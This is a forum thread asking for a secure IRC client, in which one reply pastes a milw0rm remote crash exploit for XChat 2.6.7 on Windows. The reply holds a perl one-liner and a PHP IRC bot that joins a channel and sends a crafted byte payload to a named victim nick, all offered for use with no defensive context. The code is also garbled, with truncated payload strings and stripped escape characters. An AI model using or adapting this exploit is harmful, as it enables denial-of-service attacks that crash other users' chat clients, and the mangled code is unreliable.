Jump to content

good secure irc client


Recommended Posts

Xchat Windows Version 2.6.7 Remote Dos Exploit,


# another way to test this with irssi/bitchx <below> /str0ke

# /exec -o perl -e 'print "x9xxF0x92x8Dx85xF1xA5x90xB4xF1x96x9Ex85xF1xA6x8DxA5xF1xB8xA5x85xF1xA7x95xA8x



// XChat <= 2.6.7 Windows Remote Crash DoS by ratboy

// Tested on Windows SP1/SP2

// The following bug was tested on the XChat <= 2.6.7 on Windows SP1/SP2

//Stop the script timing out


//Set constants

define("SERVER", 'irc.enigmagroup.org');

define("PORT", 6667);

define("CHANNEL", "#enigmagroup"); //Set the channel the bot will join here

define("NICK", "ratbot"); //Set the bot's nick here

define("EXPLOIT", "x9xxF0x92x8Dx85xF1xA5x90xB4xF1x96x9Ex85xF1xA6x8DxA5xF1xB8xA5x85xF1xA7x95xA8x

define("VICTIM", "ratboy");

$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); // Create the Socket

$fp = socket_connect($socket, SERVER, PORT); // Connect to the server

socket_write($socket,"USER ratboy ratboy ratboy :ratboyrn"); // Send the Username to the server

socket_write($socket,"NICK ".NICK." rn"); // Change our nickname

socket_write($socket,"JOIN ".CHANNEL." rn"); // Join the channel

while($data = @socket_read($socket,2046)) { //read the data

echo $data;

$cmd = explode(" ", $data);

if (strpos($data, "PING :")===0) {

socket_write($socket, "PONG :".substr($data, 6)."rn");



if($cmd[1] == "PRIVMSG"){ // Send the exploit right when the channel gets a message then stop the bot

socket_write($socket, "PRIVMSG ".VICTIM." :".EXPLOIT."rn");





# milw0rm.com [2006-08-07]

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...